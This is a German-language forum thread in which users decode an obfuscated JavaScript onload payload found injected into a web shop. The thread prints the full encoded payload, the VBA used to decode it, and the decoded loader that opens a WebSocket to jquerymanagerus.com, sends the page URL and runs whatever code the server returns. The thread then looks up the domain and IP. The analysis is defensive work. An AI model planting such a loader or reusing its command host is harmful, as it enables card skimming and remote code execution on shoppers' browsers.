Spielereien mit Ascii-Codes
#1
Hallo,

vor einigen Tagen gab es hier eine Frage zu Javascript, die schnell und gut beantwortet wurde.

Falls die Frage hier stört, bitte löschen.

Auf einer Webseite wurde ein vermutlich bösartiger Javascript-Code eingeschleust:

Code:
onload="!func_tion(aa,t){!func_tion(aa){var n=function(aa,t){return aa.split('').map(function(aa,n){return String.fromCharCode(aa.charCodeAt(0)^t.charCodeAt(n%t.length))}).join('')}(aa.split('').reverse().join(''),t);new Func_tion(n)()}(aa)}('\x4f\x4e\x1a\x5a\x5d\x4f\x4e\x00\x00\x06\x03\x4f\x00\x09\x02\x17\x11\x4f\x09\x0e\x1d\x13\x04\x0f\x01\x21\x47\x16\x11\x09\x1c\x41\x4a\x5a\x47\x15\x1a\x02\x11\x04\x54\x4b\x40\x04\x13\x06\x14\x12\x11\x0a\x40\x49\x06\x02\x09\x04\x00\x14\x0e\x2d\x00\x09\x02\x17\x31\x03\x03\x00\x5a\x10\x10\x4f\x03\x08\x03\x0f\x1d\x10\x5c\x48\x5d\x01\x02\x13\x1c\x49\x09\x0e\x1d\x13\x06\x02\x1b\x0b\x4f\x15\x1a\x02\x09\x0e\x04\x0a\x08\x22\x3d\x35\x32\x04\x10\x08\x04\x0f\x11\x47\x4c\x41\x12\x08\x11\x49\x00\x02\x0c\x02\x1b\x34\x05\x04\x23\x47\x10\x04\x1a\x47\x5a\x41\x03\x10\x49\x16\x1b\x03\x09\x08\x03\x5c\x4e\x48\x15\x11\x15\x41\x2a\x47\x04\x0d\x02\x47\x59\x5c\x54\x04\x0b\x17\x5c\x17\x06\x0c\x5a\x09\x0a\x17\x5a\x49\x49\x49\x11\x03\x08\x22\x06\x06\x0f\x22\x19\x08\x15\x07\x5a\x00\x09\x08\x06\x13\x34\x41\x49\x47\x01\x0e\x02\x47\x13\x12\x1a\x08\x04\x5a\x46\x53\x47\x5c\x54\x06\x11\x13\x4f\x3a\x54\x53\x58\x5e\x50\x4d\x47\x50\x4b\x59\x4c\x4b\x52\x58\x58\x5e\x51\x4d\x4d\x5f\x4b\x50\x46\x4b\x5f\x57\x58\x5e\x51\x4d\x45\x50\x4b\x50\x43\x4b\x5e\x57\x58\x54\x50\x4d\x41\x4b\x56\x56\x58\x5e\x51\x4d\x47\x50\x4b\x55\x58\x5e\x5f\x4d\x41\x5e\x4b\x59\x4c\x4b\x5e\x56\x58\x50\x50\x4d\x41\x50\x4b\x59\x42\x4b\x52\x56\x58\x56\x50\x4d\x47\x5f\x4b\x59\x4c\x4b\x5e\x56\x58\x52\x5e\x4d\x45\x5e\x4b\x55\x42\x4b\x52\x4d\x41\x4b\x51\x50\x58\x5e\x5f\x4d\x4d\x5f\x4b\x52\x4d\x3c\x47\x5c\x54\x09\x0a\x17\x54\x13\x14\x0f\x1b\x04', 'gtag');"

Mein Entschlüsselungs-Versuch mit VBA:

Code:
Sub T_1()
Dim Ar, Res As String, Key() As Byte, WSF As WorksheetFunction
Set WSF = Application.WorksheetFunction

Ar = Split(Cells(1, 1), "\x")
Key = VBA.StrConv("gtag", vbFromUnicode)

Debug.Print UBound(Key)
For i = 0 To UBound(Ar)
    Res = Res & Chr(WSF.Decimal(Ar(i), 16) Xor Key(i Mod 4))
Next i

Debug.Print Res
Debug.Print StrReverse(Res)

ergab

ohne Reverse: g;/}=).)gtgd(thepe.niirchu@ qeh{&>; rncvc *'cggsuek'.rcnctuiJthepEbdg.qw(widhiq;/)`eth(niiraeoj(rncnipkoEITUcdiche&+&fiv.tckeoUbcW&wcn&=&wq.qobnow=)/apr&^&cjv&>; elp(vak.hmp.(..eboErghEmir`.anorrS&=&fiv&tunic=22 ; gvt;[34,?7*31,>8*5?,?6*9>,72*80,?6*11,77*90,57*5*11,?6*31,2,?8*5?,>8*91,17*51,>6*51,77*3>,>8*91,39*1?,26*5*5*67,?8*9>,59] ; hmp rshoe

mit Reverse: eohsr pmh ; ]95,>9*8?,76*5*5*62,?1*93,19*8>,>3*77,15*6>,15*71,19*8>,?5*8?,2,13*6?,11*5*75,09*77,11*6?,08*27,>9*6?,?5*8>,13*7?,43[;tvg ; 22=cinut&vif&=&Srrona.`rimEhgrEobe..(.pmh.kav(ple ;>&vjc&^&rpa/)=wonboq.qw&=&ncw&WcbUoekct.vif&+&ehcidcUTIEokpincnr(joeariin(hte`)/;qihdiw(wq.gdbEpehtJiutcncr.'keusggc'* cvcnr ;>&{heq @uhcriin.epeht(dgtg).)=}/;g


Als key für XOR habe ich "gtag" interpretiert, offensichtlich falsch.

Gesucht ist eine URL.

Kann jemand die verschachtelte Struktur des Javascript-Code verstehen?

Danke

mfg
Antworten Top
#2
Hallo,

wenn ich die Hex-Werte in umgekehrter Reihenfolge mittels XOR mit "gtag" berechne, komme ich auf folgenden String:
PHP-Code:
const vmn = [93,89,89,16,5,5,64,91,95,79,88,83,71,75,68,75,77,79,88,95,89,4,73,69,71,5,73,69,71,71,69,68,21,89,69,95,88,73,79,23];rva 42;const vof String.fromCharCode(...vmn.map(vlc => vlc rva));window.ww = new WebSocket(vof encodeURIComponent(location.href));window.ww.addEventListener('message'event => {new Function(event.data)();}); 

In der Konstanten vmn dürfte die Adresse stehen.

Wenn man die Werte per XOR mit 42 berechnet kommt folgende Adresse heraus:
PHP-Code:
wss://jquerymanagerus.com/common?source= 
Gruß
Michael
Antworten Top
#3
Hallo Steuerfuzzi,

danke, da hatte ich das "string.reverse()" falsch interpretiert.

Der Link geht zur bulgarischen (91.92.253.54) Niederlassung des US-Providers AS394711 - LIMENET, US


mfg

PS: Ist das ein Keylogger?

jquerymanagerus[.]com wurde am 3.3.2024 registriert, aber ist bisher bei urlscan[.]io sehr wenig abgefragt worden

auf der selben IP wird rbc-assistant[.]com gehostet, das von Google-Safebrowsing als 'malicious' eingestuft wird
Antworten Top
#4
Kenne mich leider in Javascript so gut wie gar nicht aus, aber der Code scheint sich eine URL zu "basteln", die aus dem decodierten Teil und der URL der gerade aufgerufenen Seite besteht (location.href). Anscheinend übermittelt der Code zumindest die URL der Seite, von der aus er aufgerufen wurde, öffnet einen Websocket mit dieser Adresse und setzt einen Eventhandler auf das Event "message" des Websockets.

Wenn ich das richtig interpretiere wartet der code auf eine Antwort (Message) des Servers und wertet diese aus. Vermutlich lädt der Code weiteren Code nach.
Gruß
Michael
Antworten Top
#5
Danke,

der Code stammt aus einem Web-Shop, da ist die Vermutung, dass Kreditkarten-Nr.. abgefischt oder Zahlungsdaten manipuliert werden sollen, naheliegend.

mfg
Antworten Top


Gehe zu:


Benutzer, die gerade dieses Thema anschauen: 1 Gast/Gäste